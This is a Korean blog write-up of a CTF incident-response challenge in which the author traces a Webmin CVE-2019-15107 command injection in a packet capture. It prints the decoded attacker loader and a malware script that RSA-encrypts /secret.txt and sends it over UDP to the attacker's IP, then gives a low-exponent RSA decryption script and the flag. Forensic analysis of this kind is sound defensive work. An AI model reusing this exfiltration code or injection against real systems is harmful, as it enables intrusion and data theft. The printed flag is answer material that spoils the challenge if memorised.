2023 FIESTA 금융보안 위협 분석 대회 #5 침해대응 - 문제 3

2023. 10. 18. 22:31CTF

목차

01) 시나리오 - 랜섬웨어 1

02) 시나리오 - 공급망 공격 1, 2

03) 시나리오 - APT 1, 2

04) 시나리오 - 악성 앱 1, 2

05) 침해대응 - 문제 3


침해대응 - 문제 3 (300+88 pts)

침해대응 - 문제 3

주어진 pcapng 파일을 살펴보니 많은 수의 패킷에서 공격 시도를 확인할 수 있었다. 공격 ip192.168.152.130이었으며, 주고받은 패킷이 너무 많아 하나하나 살펴보기는 힘들어 보였다.

HTTP packet counter을 통해 http request 패킷의 통계를 살펴본 결과 POST GET 형식의 패킷에 눈에 띄었고, POSTGET에 비해 개수가 적고 공격 가능성이 높아 보였기 때문에 POST 패킷을 필터링해 살펴보았다.

 

HTTP packet counter 통계

Follow TCP Stream 기능을 이용해 패킷의 내용을 살펴보았고, 그 중 성공되었다고 생각되는 패킷을 발견하였다. ‘/password_change.cgi’에서 old 파라미터가 base64로 인코딩 된 것을 발견하였다.

 

TCP Stream 패킷 정보

확인결과, webmin에서 발생하는 원격 실행 취약점(CVE-2019-15107) 공격임을 확인했다.

해당 공격은 old 인자를 통해 커맨드 인젝션 공격이 가능한 취약점이다.

old인자로 들어가는 값을 url 디코딩 결과 base64를 이용해 명령어를 실행시키는 것을 확인했다.

 

URL 디코딩 결과

해당 base64 디코딩 결과 192.168.152.130:8080eoai256t48lels3.m.pipedream.net에 파일과 파이썬 파일을 다운받은 뒤 실행시키는 명령어를 확인했다.

 

Base64 결과

해당 CVE로 공격에 성공했다면 192.168.152.130에서 8080포트를 통해 파일을 다운받은 패킷이 존재할 것이고, 실제로 /tmp/ak1n234 파일을 발견했다.

/tmp/ak1n234 파일 다운로드

/tmp/n123.py 다운 받은 결과 아래와 같다.

 

- n123.py

f=open('./ak1n234','rb')
c=b''
for i in f.read():
  c+=chr(ord(i)^0x10)
f.close()
d = open('./a1n234_','wb')
d.write(c)
d.close()
import os
os.system("python /tmp/a1n234_")

/tmp/n123.py /tmp/ak1n234 파일이 존재하므로 최종 악성 스크립트 확인이 가능하다.

hexdump 디코딩

- a1n234_

n,e = (20484848979077986247262160404274050441451911882502922748131956702633362849273718249306927824530459256080477468268877666964112964343007524178235230756550139575652523596949485776095132717462864306047380574130320021042187571491478158647115463282432523031647732786533172737870230214515352308259687605174052141358508243101978340323854382674215416236802855780948159298534653742709690436627410409889441203789146099045407239762218306023340045379247500852588035554011290036567053879452998972455830942886731392302771340227553171170254739251791179350385938286349047213032701214775980758527295226157212440697739528536471048566153, 3)

import binascii

try:
    f = open("/secret.txt",'rb')
    data = int(binascii.hexlify(f.read()),16)
    encdata =  str(hex(pow(data, e, n))).encode()
    import socket

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(encdata, ('192.168.152.130', 51421))

    sock.close()
except:
    pass

악성 코드 분석 결과 secret.txt 파일을 RSA 암호화한 후 192.168.152.130:51421 UDP 통신을 통해 secret.txt 파일을 유출한다. 이 또한 패킷에서 획득 가능하다.

 

- secret.txt > rsa encrypt

0xd3e5a3da7412766fcef80819e5215db5bf6a742f9d7dfb4d7b841c6322b0c0b3f99e7cc79d98b8a8bfd085afa8935ec7d5af716a16b5b50b9f5f9e8a5d36bf3688f325d660b3fc418f46bede1cc48b0166869787a5262ed693427beea32158ea7f89ddfadd76c7fe8

 

rsa 인코딩 시 e3이기 때문에 낮은 지수 공격이 가능하다.

 

- rsadecrypt.py

from Crypto.Util.number import *
from gmpy2 import *

n = 20484848979077986247262160404274050441451911882502922748131956702633362849273718249306927824530459256080477468268877666964112964343007524178235230756550139575652523596949485776095132717462864306047380574130320021042187571491478158647115463282432523031647732786533172737870230214515352308259687605174052141358508243101978340323854382674215416236802855780948159298534653742709690436627410409889441203789146099045407239762218306023340045379247500852588035554011290036567053879452998972455830942886731392302771340227553171170254739251791179350385938286349047213032701214775980758527295226157212440697739528536471048566153
c = 0xd3e5a3da7412766fcef80819e5215db5bf6a742f9d7dfb4d7b841c6322b0c0b3f99e7cc79d98b8a8bfd085afa8935ec7d5af716a16b5b50b9f5f9e8a5d36bf3688f325d660b3fc418f46bede1cc48b0166869787a5262ed693427beea32158ea7f89ddfadd76c7fe8
e = 3

k = 1

with local_context() as lcx:
    lcx.precision = 1000
    print(long_to_bytes(int(cbrt(c))))

복호화 코드 실행 결과값

fiesta{CVE-2019-15107_ce343a02efb635cdf61948a9dd101259}